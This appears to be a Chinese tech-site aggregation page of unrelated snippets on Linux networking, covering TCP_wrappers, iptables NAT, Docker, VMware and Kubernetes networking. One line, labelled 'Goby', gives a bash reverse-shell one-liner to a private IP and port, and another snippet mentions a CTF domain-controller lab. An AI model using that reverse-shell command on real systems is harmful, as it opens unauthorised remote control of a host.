通过TCP_wrappers设置访问控制，提高服务器的安全性。根据实验步骤完成实验。
先说明一下环境，这里有四台主机，中间的Centos充当防火墙。右上角的win XP和右下角的Rhel7充当服务器，最左边的win7充当主机。四者之间的网卡都已经配置好。而且我们已经在Centos6.5上开启了端口转发功能。
docker镜像怎么迁移到其他的服务器 http://www.talkwithtrend.com/Question/123589
一、环境说明 Vmware workstation 10虚拟出三台CentOS6.4—x64,主机A网络环境仅主机配置ip:172.16.10.2/16; 主机B模拟做企业的网关，有两块ip,其中eth0:192.168.5.1/24、eth1:172.16.10.1/16 主机C模拟外网主机，ip:192.168.5.86 其中主机B eth0和主机C要在一个网络，这里是桥接到我的物理网络; 主机B eth1和主机A要在一个网段，可自定义，这里是仅主机网络， 网络拓扑如下：
========================================================
解决方法：一开始以为是防火墙开通有问题，但是发现telnet是通的，防火墙应该没有问题，重新检查防火墙内容，添加对应的规则之后，发现问题还没有解决，这个时候查询网上资料，显示可能是hosts.allow文件没有添加相应的规则，于是查询hosts.allow文件，对比之前的正确测试环境，发现目前在建的这套环境里面没有配置相关的hosts.allow网段，重新配置之后，问题解决。这里，看到了hosts.allow和hosts.deny这两个文件，于是研究了一下这两个文件的差别。
启动服务：/usr/local/httpd/bin/apachectl sart
同样的需求不同的实现方式，本文重点学习linux虚拟网络方案，以便让大家提前对网络虚拟化有一个初步认识：传统网络能实现的，虚拟化网络也可以实现。
墨墨导读：本文来自墨天轮读者投稿，分享了3种限制某个ip或某个ip段访问Oracle数据库的方式，希望对大家有帮助。
本文将介绍如何在Windows机器上进行Linux-CentOS的安装，在第一部分我会以截图的形式简述安装的步骤，在第二部分我会就安装时的一些注意事项进行深入讲解。
安装wm ware 时，系统默认添加两个网卡，网段是随机的，如果想修改，需要在软件里面设置一下 在菜单中选择：编辑-->虚拟网络编辑器 VMware虚拟机设置网络.png 在下方子网IP处修改 网段
在搭建Kubernetes的环境的时候，你可能会遇到一些问题，不！你会遇到很多问题。比如，首先你要实现跨物理机的容器访问——是不同物理内的容器能够互相访问，而不是你平常所看到的乱七八糟的端口映射。方案有很多，比如OVS、flannel、socketplane什么的，下面是我搭建etcd和flannel的过程，希望对需要这样的环境的人有所帮助，少走弯路。再说一次：跨物理机的容器之间能直接访问
上一节我们在虚拟机上搭建了linux系统，并利用桥接模式访问互联网，这一节，我们来配置一下通过NAT模式访问互联网。说到这里有些小伙伴可能要问了，NAT模式和桥接模式有什么区别呢？
在实际的业务场景中，业务组件之间的关系十分复杂，微服务的理念更是让应用部署的粒度更加细小和灵活。为了支持业务应用组件的通信，Kubernetes网络的设计主要致力于解决以下问题。
话说 root 这个词儿，源自 Unix/Linux。因为在 Unix 的世界里，root 用户就是超级用户，是系统管理员，相当于 Windows 系统中的 Administrator，也就是一个 Unix 系统中的 “上帝”！
例如我的:cd /etc/sysconfig/network-scripts 目录下vim ifcfg-ens33 （感觉每个 linux 环境上配置 IP 的文件可能不一致，ip addr 可以看到读取的是哪个配置，如截图）
iptables来源：《Linux网络技术》王波（第一版）。中关于iptables的命令介绍。见增补信息。
Goby：bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
1.Windows 10.204网段是内网网段，192.168网段是用来上外网的 ipconfig/all set /p choice=请输入可以上网的网卡网关,如果没有则输入IP地址: route delete 0.0.0.0 route delete 10.204.0.0 route add 10.204.0.0 mask 255.255.0.0 10.204.35.1 route add 0.0.0.0 mask 0.0.0.0 %choice% 2.Mac 公网网关：10.4.95.1
BOOTPROTO = static，表示启用了静态 IP 地址，默认为 none
本环境为黑盒测试，在不提供虚拟机帐号密码的情况下进行黑盒测试拿到域控里面的flag。
某次在试图从容器内访问到本地的数据库时，发现在本机上并没有 docker0 这个网桥。学习了一波 Docker 网络相关的知识后作出了以下总结。
NFS（Network File System）即网络文件系统，是FreeBSD支持的文件系统中的一种，它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中，本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件，就像访问本地文件一样。
Docker作为一种容器技术，在目前的分布式和微服务系统中被广泛使用，因为要在多个容器或机器间进行通信，因此Docker网络通信是一个重要的技术点。从网络架构的角度来看，所有的容器实际上是通过本地主机的网桥接口（docker0）进行相互通信，就像物理机器通过物理交换机通信一样。
在一台CentOS 7上搭建Apache网站后，一般都是允许所有人访问的，那么可能会有一些特殊情况，需要对访问网站的人进行限制，出于这种情况，Apache可以通过Require配置项，来对客户端进行一些访问限制，可以基于IP地址、网段、主机名或域名。使用名称“all”时表示任意地址。
有这么一个需求：需要远程访问内网的nas。然后现成的解决方案有蒲公英这个方案，但是个人版的话限了只能3个设备，因此找了半天，最后选择了功能类似的zerotier.
本实验的背景是笔者在实践中遇到过的一个问题，本实验尽量还原当时的网络环境。仅当做一份笔记，同时分享给遇到此问题的同学。
1.使用两台Linux虚拟机和一台win10物理机。一台Linux主机作为网关（需要双网卡），另一台Linux主机作为内网，使用物理机作为外网。
业务需要，针对业务需要不同地域的机构访问，所以需要在同一台机器上配置不同IP并配置不同网关，实现不用机构可以访问同一台服务器办理业务。
在《如何实现一个虚拟路由器》中描述了如何通过linux网络虚拟化的基础功能NameSpace、veth pair、bridge、tap实现一个路由器的最小模型，从而实现云计算环境下处于不同网段的虚拟机可以跨网段互通。本文在此基础上继续拓展，从而实现内网访问外网的功能。
为了实现，主机A和主机B的跨网段访问，我们需要通过路由把各个网段连接起来。并利用Linux Kernel的内部机制实现转发，以下为具体实现：
命令brctl主要运用于 Linux 网桥配置,Linux网关模式下将有线LAN和无线LAN共享网段实现局域网内互联；
2019年11月27日，通过欧洲网络协调中心（RIPE NCC）的邮件确认，全球所有 43 亿个 IPv4 地址已全部分配完毕。事实上，IPv4 地址的数量是非常有限的，算起来全球 60 多亿人每个人平均不到 1 个。由于 IP 地址是由国际上的几大网络协调中心统一进行分配，必须由单位向所在区域的网络协调中心提出申请，并每年缴纳一定的费用。这笔费用对于单位来说算不了什么，对于个人来说就比较高。因此，在每个国家基本上是由国家网络中心进行国内的 IP 地址分配，分配的单位一般是政府、国家机构、高校、基础通信服务商、数据中心或企业等。我们通常家用的宽带主要是由中国移动、中国联通、中国电信三大基础通信服务商提供的。近年来也有由广播电视提供的家用宽带。在学校、国家科技机构单位，一般使用的是教育网、教育科技网，也有很多学校采用的基础通信服务商提供的商用网络。不管是学校，还是家里，基础通信服务商为了节约 IP 地址的使用，在进行基础通信网络搭建的时候，大部分采用了内部局域网共享一个公网 IP 地址代理上网的方式。现有家用使用的宽带网络基本上无法获取到公网 IPv4 地址，只能获得一个以100开头的通信专用的局域网地址。
（1）NFS网络文件共享主要提供Linux到Linux或Unix的文件共享，基本上不用于windows共享。（可以和windows共享，但是不好使）
最近入手了一块百问网imx6ul开发板，一方面想系统性地学一次嵌入式Linux，争取下一份工作往这个方向混一口饭吃，另一方面也想用一用NXP的芯片。
我们一定听过容器的基础原理，namespace做隔离，Cgroups做限制，rootfs做文件系统，容器本质上是linux的一个进程，那么为什么大多数场景下，容器不直接使用宿主机上的网络，而要是通过network namespace隔离出一组专属的网络空间呢？（容器的基础原理，可参考：https://coolshell.cn/articles/17010.html）
• Red Hat Linux ：红帽Linux（企业版+免费版CentOS）
网卡命名规则受biosdevname和net.ifnames两个参数影响 如果你的网卡名不是eth0怎么设置为eth0呢？
Hadoop是运行在Linux系统下的，但我们在Windows下Eclipse远程访问Hadoop HDFS时，如果两个机子地址不在同一网段便无法相互访问。
使用虚拟机vmware操作linux系统的时候，需要连接外网，才能完成更多的学习工作。以下介绍怎样选择模式并连接外网。
从虚拟机VMWare中访问互联网，有时候捣鼓捣鼓，就能通了，有时不然，但确实缺少套路，更多是靠运气。最近有个测试，需要在虚拟机内，使用curl下载软件，因此再次尝试互联网配置。
hyper-v作为windows10原生支持的虚拟机，安装使用起来是很方便的，但是它最大的问题就是网络不够傻瓜化，不像vmware提供了桥接、NAT、hostonly等多样的组网需求，hyper-v只提供了虚拟交换机这一种网络设备。如果想要虚拟机上外网，hyper-v提供了一种Internet连接共享的方案来实现（网上大部分教程都是使用这一方式）。而这个方案依赖ICS（Internet Connection Sharing）服务的支持，一旦改服务被禁用，那这个方式也将变得不可用，而很不幸的是，因为安全问题，我电脑的ICS服务被禁用了。
上期我们讲了，由于家庭宽带的演进，大家期望，让多台计算机共享一条宽带线路连接到互联网。
遇到的问题：私网内要被访问的（对外网提供服务的）机器这里表示为：私网服务器，它已经通过端口映射功能可以通过公网IP被访问。但是其自身和私网内的其他机器却不能通过公网IP访问这台服务器。 要实现的目标：私网内的机器可以通过其公网IP访问私网内的其它机器或者自身机器。 解决方法： PREROUTING -s 私网网段 -d 公网IP -j DNAT --to-destination 私网服务器地址 POSTROUTING -s 私网网段 -d 私网服务器地址 -j SNAT --to-source 私网网关
nmap被称为扫描之王，诸神之眼。通过发送各种探测包（syn，icmp，ack等报文）来探测对方的信息。
很多朋友都曾问到关于 Guest和 Host互联，以及Guest如何连接网络，其实这并不是一件困难的事情，只要能够理解 VMware 提供的网络模型即可，今天结合实际使用经验，针对虚拟机网络设置，来详细介绍一下 VMware的 3种网络结构。
如今服务器虚拟化技术已经发展到了深水区。现在业界已经有很多公司都迁移到容器上了。我们的开发写出来的代码大概率是要运行在容器上的。因此深刻理解容器网络的工作原理非常的重要。只有这样将来遇到问题的时候才知道该如何下手处理。
本文只讲解实战应用，不会涉及原理讲解。如果想要了解iptables的工作流程或原理可参考如下博文。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
